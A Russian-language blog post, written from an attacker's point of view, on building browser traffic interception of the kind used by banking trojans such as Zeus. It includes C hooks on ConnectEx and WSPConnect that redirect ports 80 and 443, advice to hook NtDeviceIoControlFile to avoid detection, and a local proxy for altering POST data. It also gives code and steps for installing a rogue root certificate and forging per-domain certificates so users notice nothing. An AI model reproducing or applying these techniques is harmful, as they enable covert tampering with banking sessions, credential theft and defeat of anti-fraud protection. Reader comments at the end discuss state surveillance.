Перехват HTTP/HTTPS тарфика в браузерах — варианты реализации.

Насколько я знаю, сейчас в ходу достаточно известная и простая схема перехватов траффика в браузерах (для модификации и сбора информации). Схема хоть и популярная, но нацеленная исключительно на определенные версии браузеров. Так, например, для IE используется схема с перехватом функций wininet. Тут, кстати тоже существует как минимум две версии логики — перехват, синхронизирующийInternetReadFile(Ex) и православный перехват каллбека InternetStatusCallback и всех вспомогательных функций (по хорошему почти весь вининет).
 

Второй подход безусловно архитектурно более удачный, так как все операции внутри ИЕ  происходят также асинхронно и нет лага. Тоесть после установки перехватов wininet так и остается асинхронным, как и был задуман разрабоатчиками microsoft. С точки зрения кода, такой подход куда более сложен, чем первый (в часности применяющийся в zeus и его клонах, вроде  цитадели и прочего шлака). Что касается остальных браузеров — тут все не так прозрачно. Для  хрома и фраер фокса используется перехват функций NSS (Network Security Services), а  конекретнее — функций PR_ReadPR_Write. В Фраер фоксе они экспортируются  nspr4.dllnss3.dll  (ДЛЛ зависит от версии), в хроме указатели на функции берутся из таблицы, которую чаще всего ищут сигнатурно.
В Opera вообще непонятно что и как, так как реверсить геморойно, движек сейчас постоянно  меняется и вкусноты вроде PDB никто от нее не дает. Хотя можно предположить, что Opera  Next, построенная на Chromium, тоже может быть скомпрометирована так же, как и хром  (поиском функций nss3). В итоге имеем стабильный перехват пожалуй только в ИЕ (на время  чтения статьи допустим что код, написанный для этих целей не крешит ишак и работает  стабильно).
[ad name=»Responbl»]Сигнатурный метод априори нельзя считать стабильным, так как эти два понятия  несовместимы. Завтра выйдет новая версия браузера, где подругому написан код, добавлен метод в класс, чтото кудато перемещено и сигнатура окажется сбита. Тем более хром, который,  возможно, вкоре откажется от NSS. Фраер фокс в последнее время тоже активно взялся за  апгрейд старого кода, что видно невооруженным глазом из чейджлога. От функций проверки и валидации  сертификатов средствами nss уже отказались, заменив эту часть  новеньким mozilla::pkix (многие уже выхватывают ништяки, загоняя кодес деактивации функций валидации).

Впрочем, возможно перспектива обрисованная мной, слишком пессимистична и текущие коды будут работать еще 200 лет. Сложность всех перечисленных методов видится мне в своей неуниверсальности, необходимости мониторить обновления браузеров, горы перехватов, к которым готовы различные защиты вроде трастер раппорта, необходимости поддерживать несколько веток кода, выполняющего одну «простую» цель — вмешательство в  пользовательский  сслхттп траффик.

 Выход из положения — перфекционизм.
Идеальный вариант — либо полное отсутствие перехватов, либо такая их комбинация, чтоб они не зависили ни от чего. Ни от версии браузера или его семейства, ни от версии Windows, ни от направления ветра или настроения пользователя. Сделать совсем без перехватов тоже можно, но оставим это в следущий выпуск журнала. В этот раз поговорим о том, как убить одним хуком всех зайцев. Этот метод тоже нельзя считать идеальным или простым, но он по крайней мере позволяет избавиться от минусов вышеописанных способов, таких как неуниверсальность и сложность поддержки. Ближе к практике!
 
Суть предлагаемого способа на самом деле стара как мир. Необходимо научится проксировать браузер. Что нужно для успешной проксификации? По сути ничего. Нужно отловить момент , когда браузер делает коннект на удаленный хост и пропатчить структуру SOCKADDR_IN, изменив в ней удаленный адрес и порт. Это не проксификация в полном смысле этого слова, а просто редирект коннекта кудато там. Так как браузер не будет знать ничего о том, куда отправили коннект. Так же как и не будет знать и о туннеле, который мы для него готовим. Общий случай выглядит примерно так :
VOID 
WINAPI
RedirectConnectionRequest(
 _In_  const struct sockaddr *name
){
 if(name->sa_family == AF_INET){

  struct   sockaddr_in   *sin=(sockaddr_in*)name;

  unsigned int ip;
  WORD port;

  ip = sin->sin_addr.s_addr;
  port = HTONS(sin->sin_port);

  if(port == 80|| port == 443){
   
   port = 1234;
   ip = inet_addr("1.2.3.4");

   sin->sin_port = HTONS(port);
   sin->sin_addr.s_addr = ip;
  }
 }
}

VOID
WINAPI
ProcessSockaddrIn(
 SOCKET s, 
 const struct sockaddr *name,
 int namelen
){

 PSOCKADDR_IN sin = (PSOCKADDR_IN)name;
 PSOCKADDR_IN6   sin6 = (PSOCKADDR_IN6)name;

 DWORD remoteAddress = sin->sin_addr.S_un.S_addr;

 if(bSosketsHookIsEnabled && namelen == 16){ // ipv4 only

  trace("[%p] name->sa_family : %d, name : %p, namelen : %d, remote address = %p", 
   s, name->sa_family, name, 
   namelen, remoteAddress);

  RedirectConnectionRequest(name);
 }
}
Практически во всех случаях, нам достаточно установить перехват на WSAConnect, но в этом случае мы побреемся в windows 8+, с браузером IE11, который использует передовые технологии майкрософта в лице RIO. Что такое RIO можно посмотреть тут
http://channel9.msdn.com/Events/Build/BUILD2011/SAC-593T и тут http://msdn.microsoft.com/en-us/library/windows/desktop/ms740642(v=vs.85).aspx .
 
Если быть кратким, то это новая, принципиально другая технология для работы с сетью для приложений, критичных к сетевым задержкам (к коим относится и браузер). Эдакий винсокет на стероидах. Так вот рио _не_ использует винсокеты, и потому хук на WSAConnect не помешает ишаку выйти в интернет. Для создания удаленного кодлючения, в этом случае будет использована неэкспортируемая, но документированная ConnectEx, указатель на которую можно получить без особого труда следущим кодом :
typedef BOOL PASCAL (*LPFN_CONNECTEX)
  (SOCKET s,
   const struct sockaddr* name,
   int namelen,
   PVOID lpSendBuffer,
   DWORD dwSendDataLength,
   LPDWORD lpdwBytesSent,
   LPOVERLAPPED lpOverlapped);

LPFN_CONNECTEX
WINAPI
GetConnectExPrt(){
 SOCKET sock = INVALID_SOCKET;
 GUID guid = WSAID_CONNECTEX;
 INT  rc = 0;
 LPFN_CONNECTEX result = NULL;
 DWORD dwBytes = 0;

 sock = socket(AF_INET, SOCK_STREAM, 0);
 
 if (sock != INVALID_SOCKET)
 {

  rc = WSAIoctl(
   sock, SIO_GET_EXTENSION_FUNCTION_POINTER,
   &guid, sizeof(guid),
   &result, sizeof(LPFN_CONNECTEX),
   &dwBytes, NULL, NULL);

  if (rc != ERROR_SUCCESS){
   result = NULL;
  }

  closesocket(sock);
 }
 return result;
}

В итоге , функционал редиректа укладывается в два хука:

BOOL 
PASCAL 
NewMSAFD_ConnectEx(
 _In_      SOCKET s,
 _In_      const struct sockaddr *name,
 _In_      int namelen,
 _In_opt_  PVOID lpSendBuffer,
 _In_      DWORD dwSendDataLength,
 _Out_     LPDWORD lpdwBytesSent,
 _In_      LPOVERLAPPED lpOverlapped
){

 ProcessSockaddrIn(s, name, namelen);

 return oldMSAFD_ConnectEx(s, name, namelen, lpSendBuffer, dwSendDataLength, lpdwBytesSent, lpOverlapped);
}

INT
WSPAPI
NewWSPConnect
(
  _In_   SOCKET s,
  _In_   const struct sockaddr *name,
  _In_   int namelen,
  _In_   LPWSABUF lpCallerData,
  _Out_  LPWSABUF lpCalleeData,
  _In_   LPQOS lpSQOS,
  _In_   LPQOS lpGQOS,
 __out   LPINT lpErrno
){ 
 
 ProcessSockaddrIn(s, name, namelen);

 return oldWSPConnect(s, name, namelen, lpCallerData, lpCalleeData, lpSQOS, lpGQOS, lpErrno);
}

Вот только, как мне кажется, хук на коннект недвусмысленного говорит «о чем то таком». Более беспалевно было бы хукнуть NtDeviceIoControlFile. В хуке мониторить, если IoControlCode будет IOCTL_AFD_CONNECT, то безжалостно патчить InputBuffer. В нем будет структура  AFD_CONNECT_INFO и в ней все, что нужно знатьизменять для успешного перенаправления соединения. Детали реализации оставим на совести эксперементаторов.

Стоит только отметить что структуры для NT5 и NT6+ разные. Но в этой точке можно   отлавливать любые попытки коннекта процесса, в котором мы находимся.

С коннектом разобрались. Куда его направить? Очевидным кажется ответ «на локалхост». На  локалхосте мы поднимем хттп сервер для разруливания запросов и ответов браузера. хттп от хттпс отливается только слоем SSL, в остальном, разумеется все одинакого.

Хттп и в африке хттп. Этот момент может отпугнуть своей нетривиальностью реализации, но на самом деле, мы же про теорию. Задача состоит в том, чтоб принять хттп запрос, дождавшись когда браузер отправит хедеры и запрос (тело с данными), если таковой будет присутствовать. Получив все заголовки, вытаскиваем оттуда поле «Host» и делаем самостоятельный коннект на адрес, который там указан. Учитывая, что там может быть указан как айпи, так и домен или домен:порт и еще несколько вариаций. Все их можно найти в спецификации хттп.

Все остальное дело техники. Мы может как модифицировать запрос (подмена ПОСТ данных), так и ответ, собирая во временный буффер ответ, на интересующий нас запрос. Все вроде прозрачно, все просто. Кстати, отличный хттп парсер есть в libevent. Его юзает в своих целях NGINX, он компактный, отлаженный и стабильный.

Допустим, все это у нас реализовано. Начиная с этого момента, осуществить перехват траффика в хттп не представляется сложным. Единственной «сложной» задачей тут будет только парсинг нерегулярного контентта, вроде чанкед энкодинга и гзипа. Но в идеале все это на совести хттп парсера и подключенной zlib. Этот путь более технически сложный, чем тот что используется в зевсе при парсинге ответов-запросов в фф, но более стабильный и правильный, так как браузер продолжает общаться с хттп сервером и мы не заставляем его получать суррогатный ответ и не заставляем браузер отключать гзип, вмешиваясь в его хедеры в реалтайме.

[ad name=»Responbl»]

Этот подход также дает возможность использовать _все_ преимущества хттп, такие как пайпеллинг, вебсокет, сжатие, прозрачный контроль использования хттп прокси.

HTTPS. Вот тут начинаются некоторые сложности. Но все решаемо. Рассмотрим подробнее. Врядли стоит отвлекаться на то, как работает SSL, почему необходимо иметь валидный  сертификат и почему у нас не получится вмешаться в работу браузера, если сертификата не будет. Но у нас нет валидного сертификата для любого домена, поэтому можно поступить по-разному.

Подход первый : патчинг проверки сертификатов. Метод дибильный, успешно  зарекомендовавший свою неприменяемость. Суть сводится к тому, чтоб создавать коннект браузер <-> локалхост с самоподписанным сертифткатом, но ставя перехваты внутри CryptoAPI и внутри браузеров (чаще всего это неэкспортируемые функции внутренних проверок браузера), создавать видимость того, что сертифкат нормальный. К томуже тут вылазит масса побочных эффектов:

1 — все сайты внезапно начинают юзать один и тот же сертификат. Тоесть если зайти в гугл, там там сертифкат выдан «super co ltd». Если зайти на майкрософт, то и там все тот же «super co ltd».
Нормальный человек сразу заподозрит неладное. А целевая аудитория у нас естественно не идиоты.
2 — Нестабильность метода, так как фукнции проверки сертификатов разработчики браузеров (ИЕ исключение) не спешат помечать как экспортируемые. Отсюда куча геморроя, вроде того, что сами функи меняются, их сигнатурки меняются, кол-во параметров может менятся (нормальное явление в случае с хромом)
3 — Можно смело забывать по EV-сертифкаты. Это сертификаты с расширенной проверкой, результат применения которых зеленая полоса в адресной строке браузера.

Как сделать так, чтоб всем было хорошо? Очевидно, нужно либо не трогать сертифкаты, либо делать так, чтоб никто не видел разницы между настоящим и фальшивкой. Нам нужно генерировать сертификат на лету для каждого домена, полностью дублируя все записи настоящего сертификата в новом, фейковом сертифкате. Тоесть схема такая :

1 — ловим коннект браузера на удаленный сервер
2 — редиректим на локалхост, запуская там попутно новый инстанс TCP сервера, копия которого привязана к хосту, куда изначально шел браузер
3 — В инстансе сервера ждем коннекта браузера. Как только браузер приконнектился, мы не начинаем SSL сессию, а идем на тот хост, куда шел браузер изначально. Путь это будет гугл.
4 — После инициализации SSL соединения с гуглом, получаем от него сертифкат, парсим все поля из него.
5 — создаем свой сертифкат, на основе всего того, что удалось выдрать из настоящего церта. Для замыливания глаз хватит полей CN, E, OU, etc. базовые поля х509
6 — преобразуем наш инстанс TCP сервера в SSL сервер, начиная handsnake с только что сгенерированного сертифката.
7 — ???
8 — PROFIT!

В итоге мы имеем динамическую генерацию цертов для каждого домена. Результат генерации можно сохранять в локальных кешах, конечно. Таким образом мы можем сделать так, чтоб сертифкаты были такие, какие нужно (по составу). Чтоб браузер не ругался на то, что церт самопальный, нужно сделать так, чтоб он не был самопальным 🙂

То есть, нам нужно для начала сгенерировать нейки начальный церт, которому дать право подписывать сертифкаты ( CertStrToName, CertCreateSelfSignCertificate), выставив соответствующие флаги при создании сертификата :

CERT_BASIC_CONSTRAINTS2_INFO basicConstraints;

DWORD                        dwSize;

LPBYTE                       lpData;



basicConstraints.fCA = TRUE;
basicConstraints.fPathLenConstraint = TRUE;
basicConstraints.dwPathLenConstraint = 1;


CryptEncodeObject(X509_ASN_ENCODING, szOID_BASIC_CONSTRAINTS2, &basicConstraints, NULL, &dwSize);
lpData = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, dwSize);
CryptEncodeObject(X509_ASN_ENCODING, szOID_BASIC_CONSTRAINTS2, &basicConstraints, lpData, &dwSize);



pCertExtension->pszObjId = szOID_BASIC_CONSTRAINTS2;
pCertExtension->fCritical = TRUE;
pCertExtension->Value.cbData = dwSize;
pCertExtension->Value.pbData = lpData;

а затем добавить его в сторадж доверенных виндовых цертов  (CertAddCertificateContextToStore). затем связать его с генерированным приватным ключем (CryptGenKey/CryptAcquireCertificatePrivateKey). Все!

Теперь аглоритм расширяется тем, что для домена мы генерим сертифкат и подписываыем его нашим рутом. Браузер показывает что церт настоящий, все работает как нужно, траффик перехватывается. Более того, можно не генерировать сертифкат заново, а просто переподписать тот, что идет от того же гугла.

Браузер увидит церт, начнет раскручивать цепочку выдачи, наткнется на наш траст, который числится издателем сертифкатов, убедится что сертифкат валидный. Профит.

Что получается в сухом остатке ?

1 — Один перехват, в полностью документированной и никуда не девающейся функе в ntdll.
2 — Независимость от платформы браузера (3264) и особенностей реализации его механизмов
проверки цертов и прочего говна
3 — Работа на всех ос максимально безболезненно.
4 — Полная невидимость работы для пользователя (все работает быстро, хотя и зависит от хттп парсера), все сертифкаты остаются такими, какими они должны быть.

Click to rate this post!
[Total: 4 Average: 3.5]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

2 comments On Перехват HTTP/HTTPS тарфика в браузерах — варианты реализации.

  • Вот именно последней схемой и занимаются ростелеком-фсб(эти пока по школам рассылают свой самоподписанный сертификат и просят добавить его в доверенные) и кгб Казахстана. Причём похоже до схемы подмены всех https запросов на валидные они пока ещё не дошли — только на поисковые системы перехватывают трафик типа Яндекс, Гугл. Майл.ру(Усмановская ) похоже и так им отдаст любую информацию, не перехватывает почему то их трафик. очень видите ли хотят знать,что в поисковых запросах пишут граждане РФ…
    Интересно плагин в браузере dnssec validator + какой-нибудь кеширующий dns на локали (типа Unbound)позволит хотя бы распознать подмену сертификата спецслужбами ?
    Есть какая-нибудь технология сейчас, которая позволит гарантировать, что начиная с некоторого момента настроек на своём компьютере ты будешь соединится только с настоящими, а не поддельными сайтами. Как определить сидим ли мы уже в «Матрице» или ещё нет? 🙂 На сайтах многих банков нет поддержки dnssec. Тоже самое фсб легко перехватит коннекты к банкам и сольют все деньги со счетов граждан при желании. Время строить доверенный Интернет!

  • Hi, I tried but not does work with https connections, maybe there to hook another function?

Leave a reply:

Your email address will not be published.